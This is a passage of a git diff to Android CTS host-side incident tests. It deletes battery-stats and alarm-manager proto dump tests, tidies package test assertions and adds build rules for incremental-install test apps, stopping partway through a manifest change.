-        for (AlarmManagerServiceDumpProto.LastAllowWhileIdleDispatch l : dump.getLastAllowWhileIdleDispatchTimesList()) {
-            assertTrue(0 <= l.getUid());
-            assertTrue(0 < l.getTimeMs());
-        }
-
-        for (AlarmManagerServiceDumpProto.TopAlarm ta : dump.getTopAlarmsList()) {
-            assertTrue(0 <= ta.getUid());
-            testFilterStatsProto(ta.getFilter(), filterLevel);
-        }
-
-        for (AlarmManagerServiceDumpProto.AlarmStat as : dump.getAlarmStatsList()) {
-            testBroadcastStatsProto(as.getBroadcast());
-            for (FilterStatsProto f : as.getFiltersList()) {
-                testFilterStatsProto(f, filterLevel);
-            }
-        }
-
-        for (IdleDispatchEntryProto id : dump.getAllowWhileIdleDispatchesList()) {
-            assertTrue(0 <= id.getUid());
-            assertTrue(0 <= id.getEntryCreationRealtime());
-            assertTrue(0 <= id.getArgRealtime());
-            if (filterLevel == PRIVACY_AUTO) {
-                assertTrue(id.getTag().isEmpty());
-            }
-        }
-
-        for (WakeupEventProto we : dump.getRecentWakeupHistoryList()) {
-            assertTrue(0 <= we.getUid());
-            assertTrue(0 <= we.getWhen());
-        }
-    }
-
-    private static void testAlarmProtoList(List<AlarmProto> alarms, final int filterLevel) throws Exception {
-        for (AlarmProto a : alarms) {
-            testAlarmProto(a, filterLevel);
-        }
-    }
-
-    private static void testAlarmProto(AlarmProto alarm, final int filterLevel) throws Exception {
-        assertNotNull(alarm);
-
-        if (filterLevel == PRIVACY_AUTO) {
-            assertTrue(alarm.getTag().isEmpty());
-            assertTrue(alarm.getListener().isEmpty());
-        }
-        // alarm.time_until_when_elapsed_ms can be negative if 'when' is in the past.
-        assertTrue(0 <= alarm.getWindowLengthMs());
-        assertTrue(0 <= alarm.getRepeatIntervalMs());
-        assertTrue(0 <= alarm.getCount());
-    }
-
-    private static void testBroadcastStatsProto(BroadcastStatsProto broadcast) throws Exception {
-        assertNotNull(broadcast);
-
-        assertTrue(0 <= broadcast.getUid());
-        assertTrue(0 <= broadcast.getTotalFlightDurationMs());
-        assertTrue(0 <= broadcast.getCount());
-        assertTrue(0 <= broadcast.getWakeupCount());
-        assertTrue(0 <= broadcast.getStartTimeRealtime());
-        // Nesting should be non-negative.
-        assertTrue(0 <= broadcast.getNesting());
-    }
-
-    private static void testFilterStatsProto(FilterStatsProto filter, final int filterLevel) throws Exception {
-        assertNotNull(filter);
-
-        if (filterLevel == PRIVACY_AUTO) {
-            assertTrue(filter.getTag().isEmpty());
-        }
-        assertTrue(0 <= filter.getLastFlightTimeRealtime());
-        assertTrue(0 <= filter.getTotalFlightDurationMs());
-        assertTrue(0 <= filter.getCount());
-        assertTrue(0 <= filter.getWakeupCount());
-        assertTrue(0 <= filter.getStartTimeRealtime());
-        // Nesting should be non-negative.
-        assertTrue(0 <= filter.getNesting());
-    }
-}
-
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsIncidentTest.java
deleted file mode 100644
index c6bb372..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsIncidentTest.java
+++ /dev/null
@@ -1,485 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts;
-
-import android.os.BatteryStatsProto;
-import android.os.ControllerActivityProto;
-import android.os.SystemProto;
-import android.os.TimerProto;
-import android.os.UidProto;
-import android.service.batterystats.BatteryStatsServiceDumpProto;
-import android.telephony.NetworkTypeEnum;
-
-/**
- * Test to BatteryStats proto dump.
- */
-public class BatteryStatsIncidentTest extends ProtoDumpTestCase {
-
-    @Override
-    protected void tearDown() throws Exception {
-        batteryOffScreenOn();
-        super.tearDown();
-    }
-
-    protected void batteryOnScreenOff() throws Exception {
-        getDevice().executeShellCommand("dumpsys battery unplug");
-        getDevice().executeShellCommand("dumpsys batterystats enable pretend-screen-off");
-    }
-
-    protected void batteryOffScreenOn() throws Exception {
-        getDevice().executeShellCommand("dumpsys battery reset");
-        getDevice().executeShellCommand("dumpsys batterystats disable pretend-screen-off");
-    }
-
-    /**
-     * Tests that batterystats is dumped to proto with sane values.
-     */
-    public void testBatteryStatsServiceDump() throws Exception {
-        batteryOnScreenOff();
-        Thread.sleep(5000); // Allow some time for battery data to accumulate.
-
-        final BatteryStatsServiceDumpProto dump = getDump(BatteryStatsServiceDumpProto.parser(),
-                "dumpsys batterystats --proto");
-
-        if (BatteryIncidentTest.hasBattery(getDevice())) {
-            verifyBatteryStatsServiceDumpProto(dump, PRIVACY_NONE);
-        }
-
-        batteryOffScreenOn();
-    }
-
-    static void verifyBatteryStatsServiceDumpProto(BatteryStatsServiceDumpProto dump, final int filterLevel) throws Exception {
-        final BatteryStatsProto bs = dump.getBatterystats();
-        assertNotNull(bs);
-
-        // Proto dumps were finalized when the batterystats report version was ~29 and the parcel
-        // version was ~172.
-        assertTrue(29 <= bs.getReportVersion());
-        assertTrue(172 <= bs.getParcelVersion());
-        assertNotNull(bs.getStartPlatformVersion());
-        assertFalse(bs.getStartPlatformVersion().isEmpty());
-        assertNotNull(bs.getEndPlatformVersion());
-        assertFalse(bs.getEndPlatformVersion().isEmpty());
-
-        for (UidProto u : bs.getUidsList()) {
-            testUidProto(u, filterLevel);
-        }
-
-        testSystemProto(bs.getSystem());
-    }
-
-    private static void testControllerActivityProto(ControllerActivityProto ca) throws Exception {
-        assertNotNull(ca);
-
-        assertTrue(0 <= ca.getIdleDurationMs());
-        assertTrue(0 <= ca.getRxDurationMs());
-        assertTrue(0 <= ca.getPowerMah());
-        for (ControllerActivityProto.TxLevel tx : ca.getTxList()) {
-            assertTrue(0 <= tx.getDurationMs());
-        }
-    }
-
-    private static void testBatteryLevelStep(SystemProto.BatteryLevelStep bls) throws Exception {
-        assertNotNull(bls);
-
-        assertTrue(0 < bls.getDurationMs());
-        assertTrue(0 <= bls.getLevel());
-        assertTrue(100 >= bls.getLevel());
-
-        assertTrue(SystemProto.BatteryLevelStep.DisplayState.getDescriptor().getValues()
-                .contains(bls.getDisplayState().getValueDescriptor()));
-        assertTrue(SystemProto.BatteryLevelStep.PowerSaveMode.getDescriptor().getValues()
-                .contains(bls.getPowerSaveMode().getValueDescriptor()));
-        assertTrue(SystemProto.BatteryLevelStep.IdleMode.getDescriptor().getValues()
-                .contains(bls.getIdleMode().getValueDescriptor()));
-    }
-
-    private static void testSystemProto(SystemProto s) throws Exception {
-        final long epsilon = 500; // Allow ~500 ms of error when comparing times.
-        assertNotNull(s);
-
-        SystemProto.Battery b = s.getBattery();
-        assertTrue(0 < b.getStartClockTimeMs());
-        assertTrue(0 <= b.getStartCount());
-        long totalRealtimeMs = b.getTotalRealtimeMs();
-        long totalUptimeMs = b.getTotalUptimeMs();
-        assertTrue(0 <= totalUptimeMs);
-        assertTrue(totalUptimeMs <= totalRealtimeMs + epsilon);
-        long batteryRealtimeMs = b.getBatteryRealtimeMs();
-        long batteryUptimeMs = b.getBatteryUptimeMs();
-        assertTrue(0 <= batteryUptimeMs);
-        assertTrue(batteryUptimeMs <= batteryRealtimeMs + epsilon);
-        assertTrue("Battery realtime (" + batteryRealtimeMs + ") is greater than total realtime (" + totalRealtimeMs + ")",
-            batteryRealtimeMs <= totalRealtimeMs + epsilon);
-        assertTrue(batteryUptimeMs <= totalUptimeMs + epsilon);
-        long screenOffRealtimeMs = b.getScreenOffRealtimeMs();
-        long screenOffUptimeMs = b.getScreenOffUptimeMs();
-        assertTrue(0 <= screenOffUptimeMs);
-        assertTrue(screenOffUptimeMs <= screenOffRealtimeMs + epsilon);
-        assertTrue(screenOffRealtimeMs <= totalRealtimeMs + epsilon);
-        assertTrue(screenOffUptimeMs <= totalUptimeMs + epsilon);
-        long screenDozeDurationMs = b.getScreenDozeDurationMs();
-        assertTrue(0 <= screenDozeDurationMs);
-        assertTrue(screenDozeDurationMs <= screenOffRealtimeMs + epsilon);
-        assertTrue(0 < b.getEstimatedBatteryCapacityMah());
-        long minLearnedCapacityUah = b.getMinLearnedBatteryCapacityUah();
-        long maxLearnedCapacityUah = b.getMaxLearnedBatteryCapacityUah();
-        assertTrue(0 <= minLearnedCapacityUah);
-        assertTrue(minLearnedCapacityUah <= maxLearnedCapacityUah);
-
-        SystemProto.BatteryDischarge bd = s.getBatteryDischarge();
-        int lowerBound = bd.getLowerBoundSinceCharge();
-        int upperBound = bd.getUpperBoundSinceCharge();
-        assertTrue(0 <= lowerBound);
-        assertTrue(lowerBound <= upperBound);
-        assertTrue(0 <= bd.getScreenOnSinceCharge());
-        int screenOff = bd.getScreenOffSinceCharge();
-        int screenDoze = bd.getScreenDozeSinceCharge();
-        assertTrue(0 <= screenDoze);
-        assertTrue(screenDoze <= screenOff);
-        long totalMah = bd.getTotalMah();
-        long totalMahScreenOff = bd.getTotalMahScreenOff();
-        long totalMahScreenDoze = bd.getTotalMahScreenDoze();
-        long totalMahLightDoze = bd.getTotalMahLightDoze();
-        long totalMahDeepDoze = bd.getTotalMahDeepDoze();
-        assertTrue(0 <= totalMahScreenDoze);
-        assertTrue(0 <= totalMahLightDoze);
-        assertTrue(0 <= totalMahDeepDoze);
-        assertTrue(totalMahScreenDoze <= totalMahScreenOff);
-        assertTrue(totalMahLightDoze <= totalMahScreenOff);
-        assertTrue(totalMahDeepDoze <= totalMahScreenOff);
-        assertTrue(totalMahScreenOff <= totalMah);
-
-        assertTrue(-1 <= s.getChargeTimeRemainingMs());
-        assertTrue(-1 <= s.getDischargeTimeRemainingMs());
-
-        for (SystemProto.BatteryLevelStep bls : s.getChargeStepList()) {
-            testBatteryLevelStep(bls);
-        }
-        for (SystemProto.BatteryLevelStep bls : s.getDischargeStepList()) {
-            testBatteryLevelStep(bls);
-        }
-
-        for (SystemProto.DataConnection dc : s.getDataConnectionList()) {
-            // If isNone is not set, then the name will be a valid network type.
-            if (!dc.getIsNone()) {
-                assertTrue(NetworkTypeEnum.getDescriptor().getValues()
-                        .contains(dc.getName().getValueDescriptor()));
-            }
-            testTimerProto(dc.getTotal());
-        }
-
-        testControllerActivityProto(s.getGlobalBluetoothController());
-        testControllerActivityProto(s.getGlobalModemController());
-        testControllerActivityProto(s.getGlobalWifiController());
-
-        SystemProto.GlobalNetwork gn = s.getGlobalNetwork();
-        assertTrue(0 <= gn.getMobileBytesRx());
-        assertTrue(0 <= gn.getMobileBytesTx());
-        assertTrue(0 <= gn.getWifiBytesRx());
-        assertTrue(0 <= gn.getWifiBytesTx());
-        assertTrue(0 <= gn.getMobilePacketsRx());
-        assertTrue(0 <= gn.getMobilePacketsTx());
-        assertTrue(0 <= gn.getWifiPacketsRx());
-        assertTrue(0 <= gn.getWifiPacketsTx());
-        assertTrue(0 <= gn.getBtBytesRx());
-        assertTrue(0 <= gn.getBtBytesTx());
-
-        SystemProto.GlobalWifi gw = s.getGlobalWifi();
-        assertTrue(0 <= gw.getOnDurationMs());
-        assertTrue(0 <= gw.getRunningDurationMs());
-
-        for (SystemProto.KernelWakelock kw : s.getKernelWakelockList()) {
-            testTimerProto(kw.getTotal());
-        }
-
-        SystemProto.Misc m = s.getMisc();
-        assertTrue(0 <= m.getScreenOnDurationMs());
-        assertTrue(0 <= m.getPhoneOnDurationMs());
-        assertTrue(0 <= m.getFullWakelockTotalDurationMs());
-        assertTrue(0 <= m.getPartialWakelockTotalDurationMs());
-        assertTrue(0 <= m.getMobileRadioActiveDurationMs());
-        assertTrue(0 <= m.getMobileRadioActiveAdjustedTimeMs());
-        assertTrue(0 <= m.getMobileRadioActiveCount());
-        assertTrue(0 <= m.getMobileRadioActiveUnknownDurationMs());
-        assertTrue(0 <= m.getInteractiveDurationMs());
-        assertTrue(0 <= m.getBatterySaverModeEnabledDurationMs());
-        assertTrue(0 <= m.getNumConnectivityChanges());
-        assertTrue(0 <= m.getDeepDozeEnabledDurationMs());
-        assertTrue(0 <= m.getDeepDozeCount());
-        assertTrue(0 <= m.getDeepDozeIdlingDurationMs());
-        assertTrue(0 <= m.getDeepDozeIdlingCount());
-        assertTrue(0 <= m.getLongestDeepDozeDurationMs());
-        assertTrue(0 <= m.getLightDozeEnabledDurationMs());
-        assertTrue(0 <= m.getLightDozeCount());
-        assertTrue(0 <= m.getLightDozeIdlingDurationMs());
-        assertTrue(0 <= m.getLightDozeIdlingCount());
-        assertTrue(0 <= m.getLongestLightDozeDurationMs());
-
-        for (SystemProto.PhoneSignalStrength pss : s.getPhoneSignalStrengthList()) {
-            testTimerProto(pss.getTotal());
-        }
-
-        for (SystemProto.PowerUseItem pui : s.getPowerUseItemList()) {
-            assertTrue(SystemProto.PowerUseItem.Sipper.getDescriptor().getValues()
-                    .contains(pui.getName().getValueDescriptor()));
-            assertTrue(0 <= pui.getUid());
-            assertTrue(0 <= pui.getComputedPowerMah());
-            assertTrue(0 <= pui.getScreenPowerMah());
-            assertTrue(0 <= pui.getProportionalSmearMah());
-        }
-
-        SystemProto.PowerUseSummary pus = s.getPowerUseSummary();
-        assertTrue(0 < pus.getBatteryCapacityMah());
-        assertTrue(0 <= pus.getComputedPowerMah());
-        double minDrained = pus.getMinDrainedPowerMah();
-        double maxDrained = pus.getMaxDrainedPowerMah();
-        assertTrue(0 <= minDrained);
-        assertTrue(minDrained <= maxDrained);
-
-        for (SystemProto.ResourcePowerManager rpm : s.getResourcePowerManagerList()) {
-            assertNotNull(rpm.getName());
-            assertFalse(rpm.getName().isEmpty());
-            testTimerProto(rpm.getTotal());
-            testTimerProto(rpm.getScreenOff());
-        }
-
-        for (SystemProto.ScreenBrightness sb : s.getScreenBrightnessList()) {
-            testTimerProto(sb.getTotal());
-        }
-
-        testTimerProto(s.getSignalScanning());
-
-        for (SystemProto.WakeupReason wr : s.getWakeupReasonList()) {
-            testTimerProto(wr.getTotal());
-        }
-
-        SystemProto.WifiMulticastWakelockTotal wmwl = s.getWifiMulticastWakelockTotal();
-        assertTrue(0 <= wmwl.getDurationMs());
-        assertTrue(0 <= wmwl.getCount());
-
-        for (SystemProto.WifiSignalStrength wss : s.getWifiSignalStrengthList()) {
-            testTimerProto(wss.getTotal());
-        }
-
-        for (SystemProto.WifiState ws : s.getWifiStateList()) {
-            assertTrue(SystemProto.WifiState.Name.getDescriptor().getValues()
-                    .contains(ws.getName().getValueDescriptor()));
-            testTimerProto(ws.getTotal());
-        }
-
-        for (SystemProto.WifiSupplicantState wss : s.getWifiSupplicantStateList()) {
-            assertTrue(SystemProto.WifiSupplicantState.Name.getDescriptor().getValues()
-                    .contains(wss.getName().getValueDescriptor()));
-            testTimerProto(wss.getTotal());
-        }
-    }
-
-    private static void testTimerProto(TimerProto t) throws Exception {
-        assertNotNull(t);
-
-        long duration = t.getDurationMs();
-        long curDuration = t.getCurrentDurationMs();
-        long maxDuration = t.getMaxDurationMs();
-        long totalDuration = t.getTotalDurationMs();
-        assertTrue(0 <= duration);
-        assertTrue(0 <= t.getCount());
-        // Not all TimerProtos will have max duration, current duration, or total duration
-        // populated, so must tread carefully. Regardless, they should never be negative.
-        assertTrue(0 <= curDuration);
-        assertTrue(0 <= maxDuration);
-        assertTrue(0 <= totalDuration);
-        if (maxDuration > 0) {
-            assertTrue(curDuration <= maxDuration);
-        }
-        if (totalDuration > 0) {
-            assertTrue(maxDuration <= totalDuration);
-            assertTrue("Duration " + duration + " is greater than totalDuration " + totalDuration,
-                    duration <= totalDuration);
-        }
-    }
-
-    private static void testByFrequency(UidProto.Cpu.ByFrequency bf) throws Exception {
-        assertNotNull(bf);
-
-        assertTrue(1 <= bf.getFrequencyIndex());
-        long total = bf.getTotalDurationMs();
-        long screenOff = bf.getScreenOffDurationMs();
-        assertTrue(0 <= screenOff);
-        assertTrue(screenOff <= total);
-    }
-
-    private static void testUidProto(UidProto u, final int filterLevel) throws Exception {
-        assertNotNull(u);
-
-        assertTrue(0 <= u.getUid());
-
-        for (UidProto.Package p : u.getPackagesList()) {
-            assertNotNull(p.getName());
-            assertFalse(p.getName().isEmpty());
-
-            for (UidProto.Package.Service s : p.getServicesList()) {
-                assertNotNull(s.getName());
-                assertFalse(s.getName().isEmpty());
-                assertTrue(0 <= s.getStartDurationMs());
-                assertTrue(0 <= s.getStartCount());
-                assertTrue(0 <= s.getLaunchCount());
-            }
-        }
-
-        testControllerActivityProto(u.getBluetoothController());
-        testControllerActivityProto(u.getModemController());
-        testControllerActivityProto(u.getWifiController());
-
-        UidProto.BluetoothMisc bm = u.getBluetoothMisc();
-        testTimerProto(bm.getApportionedBleScan());
-        testTimerProto(bm.getBackgroundBleScan());
-        testTimerProto(bm.getUnoptimizedBleScan());
-        testTimerProto(bm.getBackgroundUnoptimizedBleScan());
-        assertTrue(0 <= bm.getBleScanResultCount());
-        assertTrue(0 <= bm.getBackgroundBleScanResultCount());
-
-        UidProto.Cpu c = u.getCpu();
-        assertTrue(0 <= c.getUserDurationMs());
-        assertTrue(0 <= c.getSystemDurationMs());
-        for (UidProto.Cpu.ByFrequency bf : c.getByFrequencyList()) {
-            testByFrequency(bf);
-        }
-        for (UidProto.Cpu.ByProcessState bps : c.getByProcessStateList()) {
-            assertTrue(UidProto.Cpu.ProcessState.getDescriptor().getValues()
-                    .contains(bps.getProcessState().getValueDescriptor()));
-            for (UidProto.Cpu.ByFrequency bf : bps.getByFrequencyList()) {
-                testByFrequency(bf);
-            }
-        }
-
-        testTimerProto(u.getAudio());
-        testTimerProto(u.getCamera());
-        testTimerProto(u.getFlashlight());
-        testTimerProto(u.getForegroundActivity());
-        testTimerProto(u.getForegroundService());
-        testTimerProto(u.getVibrator());
-        testTimerProto(u.getVideo());
-
-        for (UidProto.Job j : u.getJobsList()) {
-            assertNotNull(j.getName());
-            assertFalse(j.getName().isEmpty());
-
-            testTimerProto(j.getTotal());
-            testTimerProto(j.getBackground());
-        }
-
-        for (UidProto.JobCompletion jc : u.getJobCompletionList()) {
-            assertNotNull(jc.getName());
-            assertFalse(jc.getName().isEmpty());
-
-            for (UidProto.JobCompletion.ReasonCount rc : jc.getReasonCountList()) {
-                assertTrue(0 <= rc.getCount());
-            }
-        }
-
-        UidProto.Network n = u.getNetwork();
-        assertTrue(0 <= n.getMobileBytesRx());
-        assertTrue(0 <= n.getMobileBytesTx());
-        assertTrue(0 <= n.getWifiBytesRx());
-        assertTrue(0 <= n.getWifiBytesTx());
-        assertTrue(0 <= n.getBtBytesRx());
-        assertTrue(0 <= n.getBtBytesTx());
-        assertTrue(0 <= n.getMobilePacketsRx());
-        assertTrue(0 <= n.getMobilePacketsTx());
-        assertTrue(0 <= n.getWifiPacketsRx());
-        assertTrue(0 <= n.getWifiPacketsTx());
-        assertTrue(0 <= n.getMobileActiveDurationMs());
-        assertTrue(0 <= n.getMobileActiveCount());
-        assertTrue(0 <= n.getMobileWakeupCount());
-        assertTrue(0 <= n.getWifiWakeupCount());
-        assertTrue(0 <= n.getMobileBytesBgRx());
-        assertTrue(0 <= n.getMobileBytesBgTx());
-        assertTrue(0 <= n.getWifiBytesBgRx());
-        assertTrue(0 <= n.getWifiBytesBgTx());
-        assertTrue(0 <= n.getMobilePacketsBgRx());
-        assertTrue(0 <= n.getMobilePacketsBgTx());
-        assertTrue(0 <= n.getWifiPacketsBgRx());
-        assertTrue(0 <= n.getWifiPacketsBgTx());
-
-        UidProto.PowerUseItem pui = u.getPowerUseItem();
-        assertTrue(0 <= pui.getComputedPowerMah());
-        assertTrue(0 <= pui.getScreenPowerMah());
-        assertTrue(0 <= pui.getProportionalSmearMah());
-
-        for (UidProto.Process p : u.getProcessList()) {
-            assertNotNull(p.getName());
-            assertFalse(p.getName().isEmpty());
-            assertTrue(0 <= p.getUserDurationMs());
-            assertTrue("Process system duration is negative: " + p.getSystemDurationMs(),
-                    0 <= p.getSystemDurationMs());
-            assertTrue(0 <= p.getForegroundDurationMs());
-            assertTrue(0 <= p.getStartCount());
-            assertTrue(0 <= p.getAnrCount());
-            assertTrue(0 <= p.getCrashCount());
-        }
-
-        for (UidProto.StateTime st : u.getStatesList()) {
-            assertTrue(UidProto.StateTime.State.getDescriptor().getValues()
-                    .contains(st.getState().getValueDescriptor()));
-            assertTrue(0 <= st.getDurationMs());
-        }
-
-        for (UidProto.Sensor s : u.getSensorsList()) {
-            testTimerProto(s.getApportioned());
-            testTimerProto(s.getBackground());
-        }
-
-        for (UidProto.Sync s : u.getSyncsList()) {
-            assertFalse(s.getName().isEmpty());
-
-            testTimerProto(s.getTotal());
-            testTimerProto(s.getBackground());
-        }
-
-        for (UidProto.UserActivity ua : u.getUserActivityList()) {
-            assertTrue(0 <= ua.getCount());
-        }
-
-        UidProto.AggregatedWakelock aw = u.getAggregatedWakelock();
-        long awPartial = aw.getPartialDurationMs();
-        long awBgPartial = aw.getBackgroundPartialDurationMs();
-        assertTrue(0 <= awBgPartial);
-        assertTrue(awBgPartial <= awPartial);
-
-        for (UidProto.Wakelock w : u.getWakelocksList()) {
-            // Unfortunately, apps can legitimately pass an empty string as the wakelock name, so we
-            // can't guarantee that wakelock names will be non-empty.
-            testTimerProto(w.getFull());
-            testTimerProto(w.getPartial());
-            testTimerProto(w.getBackgroundPartial());
-            testTimerProto(w.getWindow());
-        }
-
-        for (UidProto.WakeupAlarm wa : u.getWakeupAlarmList()) {
-            assertTrue(0 <= wa.getCount());
-        }
-
-        UidProto.Wifi w = u.getWifi();
-        assertTrue(0 <= w.getFullWifiLockDurationMs());
-        assertTrue(0 <= w.getRunningDurationMs());
-        testTimerProto(w.getApportionedScan());
-        testTimerProto(w.getBackgroundScan());
-
-        testTimerProto(u.getWifiMulticastWakelock());
-    }
-}
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index ce6f04e..f927646 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -151,19 +151,6 @@
                 "am start -n com.android.server.cts.device.batterystats/.SimpleActivity");
     }
 
-    public void testUidForegroundDuration() throws Exception {
-        batteryOnScreenOff();
-        installPackage(DEVICE_SIDE_TEST_APK, true);
-        // No foreground time before test
-        assertValueRange("st", "", STATE_TIME_FOREGROUND_INDEX, 0, 0);
-        turnScreenOnForReal();
-        assertScreenOn();
-        executeForeground(ACTION_SHOW_APPLICATION_OVERLAY, 2000);
-        Thread.sleep(TIME_SPENT_IN_FOREGROUND); // should be in foreground for about this long
-        assertApproximateTimeInState(STATE_TIME_FOREGROUND_INDEX, TIME_SPENT_IN_FOREGROUND);
-        batteryOffScreenOn();
-    }
-
     public void testUidBackgroundDuration() throws Exception {
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index a262209..612ddcb 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
@@ -24,9 +24,6 @@
     private static final String TAG = "IncidentdTest";
 
     public void testIncidentReportDump(final int filterLevel, final String dest) throws Exception {
-        if (incidentdDisabled()) {
-            return;
-        }
         final String destArg = dest == null || dest.isEmpty() ? "" : "-p " + dest;
         final IncidentProto dump = getDump(IncidentProto.parser(), "incident " + destArg + " 2>/dev/null");
 
@@ -45,7 +42,6 @@
         NotificationIncidentTest.verifyNotificationServiceDumpProto(dump.getNotification(), filterLevel);
 
         if (BatteryIncidentTest.hasBattery(getDevice())) {
-            BatteryStatsIncidentTest.verifyBatteryStatsServiceDumpProto(dump.getBatterystats(), filterLevel);
             BatteryIncidentTest.verifyBatteryServiceDumpProto(dump.getBattery(), filterLevel);
         }
 
@@ -69,8 +65,6 @@
 
         ActivityManagerIncidentTest.verifyActivityManagerServiceDumpProcessesProto(dump.getAmprocesses(), filterLevel);
 
-        AlarmManagerIncidentTest.verifyAlarmManagerServiceDumpProto(dump.getAlarm(), filterLevel);
-
         // GraphicsStats is expected to be all AUTOMATIC.
 
         WindowManagerIncidentTest.verifyWindowManagerServiceDumpProto(dump.getWindow(), filterLevel);
diff --git a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
index 6ea48fe..66137c1 100644
--- a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
@@ -16,6 +16,7 @@
 package com.android.server.cts;
 
 import android.service.pm.PackageProto;
+import android.service.pm.PackageProto.UserInfoProto;
 import android.service.pm.PackageServiceDumpProto;
 
 import java.util.regex.Matcher;
@@ -70,6 +71,7 @@
                 break;
             }
         }
+
         assertNotNull(testPackage);
         assertEquals(testPackage.getName(), DEVICE_SIDE_TEST_PACKAGE);
         assertEquals(testPackage.getUid(), uid);
@@ -79,16 +81,16 @@
         assertEquals(testPackage.getInstallTimeMs(), testPackage.getUpdateTimeMs());
         assertEquals(testPackage.getSplits(0).getName(), "base");
         assertEquals(testPackage.getSplits(0).getRevisionCode(), 0);
-        assertEquals(testPackage.getUsers(0).getId(), 0);
-        assertEquals(
-                testPackage.getUsers(0).getInstallType(),
+        assertNotNull(testPackage.getUserPermissionsList());
+
+        UserInfoProto testUser = testPackage.getUsers(0);
+        assertEquals(testUser.getId(), 0);
+        assertEquals(testUser.getInstallType(),
                 PackageProto.UserInfoProto.InstallType.FULL_APP_INSTALL);
-        assertFalse(testPackage.getUsers(0).getIsHidden());
-        assertFalse(testPackage.getUsers(0).getIsLaunched());
-        assertFalse(
-                testPackage.getUsers(0).getEnabledState()
-                        == PackageProto.UserInfoProto.EnabledState
-                                .COMPONENT_ENABLED_STATE_DISABLED_USER);
+        assertFalse(testUser.getIsHidden());
+        assertFalse(testUser.getIsLaunched());
+        assertFalse(testUser.getEnabledState() == PackageProto.UserInfoProto
+                .EnabledState.COMPONENT_ENABLED_STATE_DISABLED_USER);
 
         verifyPackageServiceDumpProto(dump, PRIVACY_NONE);
     }
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
index 13718a9..4d7f684 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -266,14 +266,4 @@
         }
         return false;
     }
-
-    protected boolean incidentdDisabled() throws DeviceNotAvailableException {
-        // if ro.statsd.enable doesn't exist, incidentd is disabled as well.
-        if ("false".equals(getDevice().getProperty("ro.statsd.enable"))
-                && "true".equals(getDevice().getProperty("ro.config.low_ram"))) {
-            CLog.d("Incidentd is not enabled on the device.");
-            return true;
-        }
-        return false;
-    }
 }
diff --git a/hostsidetests/incrementalinstall/Android.mk b/hostsidetests/incrementalinstall/Android.mk
new file mode 100644
index 0000000..eb303a2
--- /dev/null
+++ b/hostsidetests/incrementalinstall/Android.mk
@@ -0,0 +1,16 @@
+# Copyright (C) 2021 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
+
diff --git a/hostsidetests/incrementalinstall/app/Android.bp b/hostsidetests/incrementalinstall/app/Android.bp
index 5072cb4..68ad217 100644
--- a/hostsidetests/incrementalinstall/app/Android.bp
+++ b/hostsidetests/incrementalinstall/app/Android.bp
@@ -44,6 +44,34 @@
     use_embedded_native_libs: false,
 }
 
+// v1 implementation of test app built with v1 manifest with uncompressed native libs.
+android_test_helper_app {
+    name: "IncrementalTestAppUncompressed",
+    srcs: ["v1/src/**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    v4_signature: true,
+    static_libs: [
+        "incremental-install-common-lib",
+    ],
+    sdk_version: "test_current",
+    export_package_resources: true,
+    aapt_include_all_resources: true,
+    manifest: "AndroidManifestV1.xml",
+
+    // This flag allow the native lib to be uncompressed in the apk or associated split apk, and
+    // does not need to be extracted by the installer.
+    use_embedded_native_libs: true,
+}
+
 // v2 implementation of test app built with v1 manifest for zero version update test.
 android_test_helper_app {
     name: "IncrementalTestApp2_v1",
diff --git a/hostsidetests/incrementalinstall/app/AndroidManifestV1.xml b/hostsidetests/incrementalinstall/app/AndroidManifestV1.xml
index 68d6d3d..881fbea 100644
--- a/hostsidetests/incrementalinstall/app/AndroidManifestV1.xml
+++ b/hostsidetests/incrementalinstall/app/AndroidManifestV1.xml
@@ -16,12 +16,13 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.incrementalinstall.incrementaltestapp"
-          android:versionCode="1"
-          android:versionName="1.0">
+     package="android.incrementalinstall.incrementaltestapp"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <application android:label="IncrementalTestApp">
-        <activity android:name=".MainActivity">
